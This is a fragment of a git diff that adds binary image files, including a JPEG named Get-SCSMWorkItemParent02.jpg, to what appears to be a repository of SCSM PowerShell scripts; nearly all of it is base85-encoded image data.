zIn3{awG}h|QKQt@VrBIbW&y`_%22P+L=ed9YvR8TNIL57-x7Ue%a>>dDLat%oSvTexJ3xPR!@OZ@ai<>oDSL&NlU60HM z>Qk-1Csu8YI%ng9$h)=Hs5rWoWQLVfm6~d)u>A${wbYFijR}u$9RJ>iI!q&u%0Z&p zL%s^BMpt^uMjZz{u3Y?>?D&Tr!Ve?%z-NIOYmQ8uhCS1F?2vJ5aJ4oK zEK|$W^LaLw9t9L^%o}v0;K`%Z#Rk>sN z40@-;muhPtUKOW1$iEsO_!X@IV6GC5s`Mh$V1*Xw^TSX&k2+A_?DB1*8d^;1&ebOO zE?@qvpH*sXM`M?BUU_`+FHZ3sZqE1bi*Q zF7t`pL)Bb|Y97wso)ME~GYEt!c))D-IlphK3|IaOyE5d{mDr=jhQ{P zBh)64G^+eVLLeKzsX`%HoW{J|IqOa*&6uS?q=Z>p@Zw^UfoeC(j0dKYN(ZevG5MVFeW+4x0L1akdg z_pSTy4t}d5AtP3-Vs$q@ol*{bTo!bqNrW~%p!F(<_@Bc)l%G{(%M<%`(E)KoW;h5f zCib+SkjzQqpgVR`Ob78R<8na>Az&#^hKst7mp{EltOS{9{r=mbJiuLYOR#4@2?q!E zgpO)GN8kW8hfW!E<(GfK^7OyvJ3%&8S#uygiFE*5yRo{gp2lWyuhY&YJAAdci$5kX(K z#>XJhemZKr5KdyW3oRleM#rTJ^-NVbUD1M%_?E>8Vgy;ni5}gc-a5OdP+Q!&(MrE?d<~ik8#5K73Zutd2VS*_(|tzYGoN zD}=Xhc)-^So65VNGALh^H&3+pC97Xh@8sE#`dD}diOs=H1lAqC60^%%CQOVnnTiuG z1w#ydWJT;Au%M^M+$^$S68EjRU~E$1>hbHyP?h~ze}Wd$JB-GwG~tECZ|tG1B2Jts z8s5jiObys}KVoD6W^;i_tnvbUYMOU9u8K2JgnDPS=J4)KsCEQ!r#F#4NHhAACVO%( z4(d4Lm~Q0*SO%9*(Dj2QCeB=)nt;KYs;VNCV8JLKJ6c|$TxQkZ5I&h}%*pp080%uO zO7Zw;4fcz&@}Gf+_n_jA_&-1XB!6Gn50kgG5KWK0-rgS%Fg4uwcxV?x6zqy-j*X3Y zQ~I1opPg{9`T3-(fe5DfLx#$VtTF=zRkg zZb}p`BhYowUA&{!P>o;5WCoQB%+4Z~x~Qw@w6lWp4F6%Jumm06VQ^Of%Xj)Eb}QQy zvad?mg3ujoiN$qgdfYg4(kx9C(^3kwO(Ie%E_AHeCBlT9F}c(6RH78T1*Goucj)8)2fX>Fct=VDxeLoFuUKDPhFDK(4o;_{{3o-*TEQ& z31h0{GA0%yHQ9_Q7QnE8+URhCzOJCG_bcF`-d@Q&2Qd(WRA{->a_!MxJ5_(!+UX?< z-!FV{#8VI)oFr5uPV>hw^!)CQ!R{ikj%&8Mf=gk4Q}~f5Od%hJTB##(4nKOl^t#ez z5@m4OoYYsPcEGU0DUc-m;wae8$bj33-o4a1;Y4gv0Y6F{y%s^#>bTQ5zT$DKdCdm1 zO9Ff>5r!J^)9Q1zVfi38uhV|IIEn*xH7e@*R}+&3OM~B2suHbFbaS@qZB6E7OSzX@ zoy_%ffBcZ&tbvSsy*8+74asE&*kmU6RG;$`w=BK)Ku4_Uzi8btp@vK9=c1-N^u_O* zGzC^Wz?!b@HiCLDYR;|P(kF@4jp%`cr7{3PX`UyV>)LN+g~$Hah*OMGd6 zF1M_$2zBVKMLz6pnG-~4(sU^0^3EEpSA?KJ+j%vT1&DeFnH=oAgxY5E67ys$S2vB5O?-mk?OfE?_twDwy&NZ3-Dn#0nfH z?D5fSEy31U?u?Rfre_-UBka?y)Lu#L#wJJpMgro~M2fa;9PVlg&!W7=lb!uIeOA8q zUbCE3_KOD=plmReQddw+wXpJU64 z4Q6~a04<%e6YWQc1@8W)icP&&=vRVD3&J9~ncX|TR!81R?@0oe7awQ??^h&FbrWfr zVyG?-;wn7@6k@!|Tt<+;@KCGY!Gw`p-6d)@`7y9}B*9c%n8e`8yBO|^M15jbG0C5+ zvbS|d>RE*cZT&dp8Yty|efFl+ zC^W@U%b8K|Kd&%&>X#~x5;G($o<1*S#n?ehOH zQyq|<~b=`?9tkl(v~yB~eW45d`C z{CVFU?#}wi+g;r87@)w?mOOetB1uBTk@$@)n?>0fRt=IK-%dA#@0ZqX!4=+|eZT(P$He@*pD!DHpOCLMqLoGjHjAiaW>{Ts39Zid&~GvH zCftfF?LI2Zmo2hb@1&72OEwn|yhWbQCg5QCLbRa8t`!G-GV>zUm!khatw@Z#q%@r? z3m57fD!fa3lSIf~UTU+U`VmiB=k^gpjk8W=c6H3D|HpciH!yixTd^%3!2ep!<*CMB zPyI1bQV2w#H)|86OpL&-v|muaUGOLkq%8X+7T(WJF||CV&g z*@Vj%ln$q|G@8PE%)ohe@L;yK^9v0gUR+1>t}CH`AId~QVQ~IZrVb0cU$A7*x(B$Y zQq`Nc1cDplt_bY33pQ3-U@Zy`Ifl&?7YTra)~%AP(CLhYP_(FSc6J3zb_cY>ImvZ`lt$*t1J6P2 zUm6pwSW*&f|4<{RELj$5tQhdhpk9@v^dvu}hb%C-ME3Qx#Vf>29Nm2rdY-<`@lfmT zK>deDI{QC`5J1FMfv1l(s5?7{R2%VGZ=TLAtT2A=6wlI`4nl{ z%Y&x>(`Nd1T$*5e{&ItcpV7AUG)91s={z1Wm(jANy;BJY#j$*$Jf>!MlApeRW=9r+ z5ec*8mXsNPZXws1HX2aGmW`&CzWIn1u5;CRN_Xkfd_MIb;ZGgoH4f3oq^jUW3ooQr#_)hQ4^}{xVE*$~ zS4k=TA4GI(iefUMU^L6N*DmnX7*>5&V8k80Hql;Qo>ut&7l^E_!dI*1`&36sEiX+| zQ;`HK=^uCKpBpti?Je%y`sVIn0^g+NYFL*yW*aslJxnNTZEsglS8#%KW;&seI6UwD z+YUm}#2w#JexMfgTC#^KKSdxWxClqWhH>~n|Dy`~%xr4vs;v|PX??w8{uZQ#{LA7R z;&bFF8Q5Q&w45)kDkym!ujw$z%Q-?Gw;!?28(YaYp-3yX3Zhs|Gj3rZ-PyMU5PcIZt!h-b3CtlNZ#m%0j2E;s zYCmMuJ`{rBCmS^6J6$wNIxx*OE%Tvipkh6w70H+bol%dBLvu|1AWa7o@_ma8TUN7a zYJvuX`W`_Nt0s#@HZAjjZG7b7T07X>`Nv1XOLGDa5cfSBeLK6w4D$NjW-|mqJadB9 zsxjF^t#M5$Vf70pmSFnoN4-}AbDoGmQ})>vLf6hp*r6%1@v`z%(6Xd<@k5(CJ+_eV z(*JwF#NmBXT6R>^Wpx8^YzLI*%n0s5XI)y&7lD>-V0QcqCi8{difAo_jiZp&3gYn{ z`d@^fQCia%2}Wj&GL8l$H;V__$E>y+t!Dt4QSifqAas6MqoM9?`{_Qdw7Q`11-C2p zWoXe%c-=cvmmR04Ib=xWT-8&ah+K*3f5!4W^5JVtKYVAI;Z(}mm3OVm$#BdJwT8X_ ze&pw2Z9@$o#ojc|p)jIj)efE9Y^2z+1Z-Z4XNsYrw z^|=HYA#4fuKe1h3<$c#&|2i71JOM2o-&4)D&`T!r#>b1NMTxdQ?el@<5VNvCc#-1C z(D*Ui_X~v(O;fvT4{ICR^D9#-OlUDK3TJon<)A-|1pqF?AFWxg;-9HorXscdp#$Vk zh)EQ}q9qcny!ndzPLn6ioqJ5?O*+D8GTY>+r5PXrP;!dkZ$FLkQoia*rFbAHgA~%M zaX2^5%PR^Hk(1)uq@J*@jtwoWMYXq6je30n>9QLim2&h+%L{SO&%1nl$EIwx!Zo6O z&zvf1-C+WT6IVUt6m;&8Q7#r{Rrny^g4sSTdXyw_k&Frnu?97VAtJ`{JS`aD2c#bW zDsHt+U$+pXELI`xK6q*HhT}K3V3gj*oB3mWSk<1XXR;WTR#I1ov~#&ni^eML{lMn@ zB2&xmkc1k-XdN|Qp&ZfekiQ4o3@qRUz3A_zihb=;Mz+#!qcu$ypt{-Wrs}385RtVG zs#T>?Yf)9As0B#p0#qdsQ6ZqsW%u~#||bE%#$Bkj|__rXHCv*I%< zM^gp~6&)4fN4z>!^M+X*xHEIHOOwm9E$lm8xN488e6WPi)#cDS;JW>_p(Uf&sC{Xq}6CG%E~aO*cR%@>@O5RL_q$)TVAU zin*B=1W#YH)$UZjseRz4ab=EUalgcqHlw9Qlpc{cDthx4X^luKGQvZeeQ~ibAH5&I zmYK#;l#dOMYtSW4S_~`E@=X}slNUlH6hi>gdAQq_F5?O;Y%%%*b~*ATGw15bwM%Ky z0Hw4$h1tdz<7+Wj$!`AE&+Mo0(*WvwHCLW96;Xf%_Y z_9jBIk3dlJpzD(Gx!-y@2#y;v$1Gl}sHO{GY$ly>( zkl#4aWWMUluWm6vvtzx%KVxJKa6sARVq{d{^1Ny>CoWzpS$>C=Bk>babvt;Qla1De zt($=;Oi>@!>GYD~0_lx+RSNXeD?%88W z&~Rfus#{>_We9@y)sKBp`Pknq$WOkQ6gUY3t^-LTaw9i(ZVZJ1n$YXZSNghWbl7SC zxFE?5o`~pe5NycAw}|{Ls~^FuiNiVby#Dvtt-H&&wRK6+2zQa@_a~fLae~E3r}<*3 zB#E!(w4^9{Hu0}b-@l1+zZbuqFh)>tl0!yo2rEWM$?BK;MPFTm1JnLdGso+yx?TMr zkJeTtns&Xge|Tk9H4|I#C*va*j!vpSY%hl-?cY62CiDX?qb69=ns-VO3x(rN2Wd|tl75d2w z4M1j4dA{!jjLIt9HjA*`avQ-zQVa)UOu)B_iJFaNH{^Dw=z6mv8%`zmW|69Tf4%81 zbe*RsEQeygjgDKNd%rR5riG6v`Z!#Zx3n-P)9Wz}n9I^mwT9ELdYDIR%a&N?s=jnOz z5Kmj_=f-V!tKNxcP0FL8)AOox>7yZPH^}Em?H~g@Rv) zZJrqL{x*a5L;k}Iid@#`tn%|Ovrbe;5Eu)O?-Lb-iO<@#FBXod@7S&PQ?-0}GE|58 zlT_a7vH~Qo0rq^zv@ZgNUjBNMiXZwfF{tsseIhgVFHdAt{?&<0j^*~0aSY$@4u+Zb zG2LVBRD0DVY~c2-7lOzpZoT)Q-ovTHMF0r7v%lVZNz%~^6WQcNFlJ{4N0Xxn**r0% zpKIzO=$h@FV{{wTDXm%W$x34i&~d4{r&_DCT5)&k*0^DUtBlx&$kdWf18diIb?-TV zlBG)tH}q^5nmtheLVm$miRRma3~Uu5#craEeiuhyl<~6oP1PEVM*1wU(Vq`eQ(+%H zhAqofI;VB7+{z-Nc=LRC6HKw4M&cd-?($6qWGEiM_E$5 z84%VcbLr$Cim$w}#j03d<*7e1wBLs!FBr=qp!^bbBMJADtsPr)EdPjLKYNz^yeh9o zX-;*Z2&g-jg-1Z<=Sy4;%RLF}wK;%!`ed4#VIx;CY*I1p6}CVJr}djWf6*$iOE)?aI*ewRx8j|~_`vH_F2y-0^qOIe(xNF*xgrCrKIhjC&k zQBJ7^c&S*l;!hg<(O{TUZ~b`z|NLj5SuD1?53n#)c%q{}^EljO7@ekX{p^O6@?uFw z1M1`i)O>EE-X4+2zm1BFh>3A|@~Fl-Ji0rO5Szc>$v)1IKvC)YLXN0meTg#~g0X`B zj3OB;CY~MGV>*XDHcyrGyd90)6Kt+p>Un!uubTVyv(~m~2Qk3!+L-giLc7|k`(khk zz7C?c4vKyitaESxl>gU+^S;j8ZrBKia$QuqLx~9}D8D3=U0X zRx^V^K%_{KCPr5&feAgK1}*|R0Rf3rDVd>&O4C3RCm>m+8A2H$ln~0bP!igZP^3hZ zD!mOQkh0(G?A>|xK6mf#b9eUcKJ(^*>~yGHkM@2!TS5iKpw6l04E<*RAL zv&YUl1#%w*d2oZfM~)*KCJq@o=Bi^@E^H@8_TuRU!7S~GVBYxjKw;`XlQtZMs}W(zaJhSb2i zQmY0*UM^IttdKQfu8pyAHOa6E(hR3o4#suO*ySbWM-@#Wn(vrcIL|@`>KUy_8;`PT zmql&9Ly*MAKrPy!)E(8;_-0&j=_r@$#l5t;zdkXv&S^i+2;N&rb5M^OD!}J?Nt(B2 zuT5A3?jwN}_I@Qj}J|1u~Bll=TsRW^ZP5v1mox>dtb{?NlLcU`KTxg)Y zve~M{FLsRAd^cK?6?(?2O}@V4DDKUuF4GjuIOCB?K%{Qxu05gl$biXSje;ia_`p?;4(d_KX_SUEmR5=-A*9LLyl^xR7wIL?_08!94f2Wza~gJ!42YYS_}0mRAHPh)HEPl+sDPyMWED2T>(> z$ZSBqghV`|Gut^BZ)0A|3=fYgzTwAR+i=s|0L#)y^20*~9I9pX+4bK&VznQs{C2YQ z<6YDgN*Gsgy*$ZN-H54Aq&cKk3rLvBREJ*XD;C$IYGAy)ujmN}C?{DA1f!RL?G?|t zy1o}O8rPTMuRpYLct~@=6_R}+xri{Q`0OF|M7Js(2Z@`RcJ#QN_)yxQQQhKPQlICw zY;SGNTqFrYWt5RTJSz1_v1_TgYg51}McxNFSs!YGNOwdis#up;7N2*gP#u_NdBnO$kTwVjK z4$q=_Mx&lufaSt)#RnNfHTeo;eH>aPJf>iLwKEVMsPJuJ&gBAE`kB=+*PhVGTkp>j z9a|(iD?u+ql@{JOyg$#5C@C79Sqz}4S9d6`vHCtlYPo1R=jIGx>N5@UPsm`{q0aAT zokBz5*0&o%jJ3m!TDR;o_3R&Pm5vruW1IX#j**qk@$dyI{T>4K=1A2!(4Jf%H49@U z|FPvXJD4@MT)A|MSy#knz-UB|FkarWp!xTx`A8+lln28x=h+HtHgDmimLvahS+{M| z9^w9#R5n>r*f(t6bj~710Q=@3ZfxdP%1a2w3^>LT3Zl&rY`NzZ#yf^Dpy_d&{ zpRe!5Jas);V()~bm{O4yDsev&#SjfPD$}Oa7K0e5Kr z*r~OKo6+R^B*Xp+cLkUGV8r^9Hq~x0v@D@`j7rq$5bBUU`$mUY!0>rcZ6wZ$_(ub zhO=xJ=SKQ#c3#i`!vBA$%I>dqKQMqFKg^X^dC;H5syjU0qOaq5b@!9W>kr0_eMeJF zy@RKips#JOJ2=5$v0C%_@S+^J8@2exjdEh+BZpwAx(&~YDi_ zbRpsLdo~(oR2|k&iqYRO=#Q2>R1?O&0QorXR*1+(s1K!R~lUqgJF>;^o(ihx1-v0;|TF0dgKv6@nUovuJIQ z^8uR(CJVEBde*^PCFIRz;Un4hcpVX_{Tg^@Jrhu?utVLPe~Fb6f$j?(ELcSWb5XX16z^XX}Nv=mmi zs~R-Ajwf#cJ+eMn7~?8k3-Cw)QYvk%8SvVS5Rk(fk^c0bQEL3_1&J7`isb18AomjW z1H;m-tgJHjrSikxma}xON@JB;OqeR9vb2zJaEq6MPXD_knSRbA3;791_yrh$6PG{1 zi04l*()M@4h>W((_MwgzLygFA$ZGvn<-N+^L{Lp9m(sg2Gj)n>Ct&mF9|D&|pafq_ z*@aW>`EenQ46S#Trhr35T8lt=TiC5WZ~k>WIeZKI(j>k?1bP$)9KY@p$}QnVATyxn z^7H2HE`_*3t_ZaMqPSgbAF+Rk=Z6>{#P}#)AH?gUI6e@^N597SP#U&^N{sqsz{X6= zO^ZC7W-Vf3#@yaVg@`((t3HB7WTWd)+V)mpRLy-5jbs=sd_eR=y zqqS?Zzl0rbv#GXbv9WZQ487M8Uxh?87Hb>OCL7D-YNt^ZFYuI}QnaPa&`6CDPiqp| z%?u2w5P@!sK&OEXrLElpb_a+AaoEjiOFqPe$lq=Qh%te)(so)Lc9+aE1V{_OZvo1$ zT@eTZba*Y4IbkD=1sF5`6JWKQbiddv=;7yxK-JQJei4w?{F_e-MWBo4047l2%5hB- z>@A!T0%@1SDVtEiMG=Sz-Mu9OC8Yo&>|{X2X+>QG;wfbQ{8v|Y!9p^2k}RmhzPdue z_M~CA0Wws6s^y>vL>Gawu$xZ>z-fzJ^O~J-6#C(dzUG-$DE|;vXr4bW0s*um%;sHt zAuy2QF`g>0a|W+Gobz6v01G9cB9Li&xUb*E`KmJogT!n-I|Wej9xKF`Y!pb&H;^Xv#NgJQt$}e=1PkF`IDWozd#?Y; Pe)Vs7HU2;Sl4$4;BNd1; literal 0 HcmV?d00001 diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent02.jpg b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent02.jpg new file mode 100644 index 0000000000000000000000000000000000000000..6326ec54544ed9ea390e8bb924f87760eb31b6e0 GIT binary patch literal 106861 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 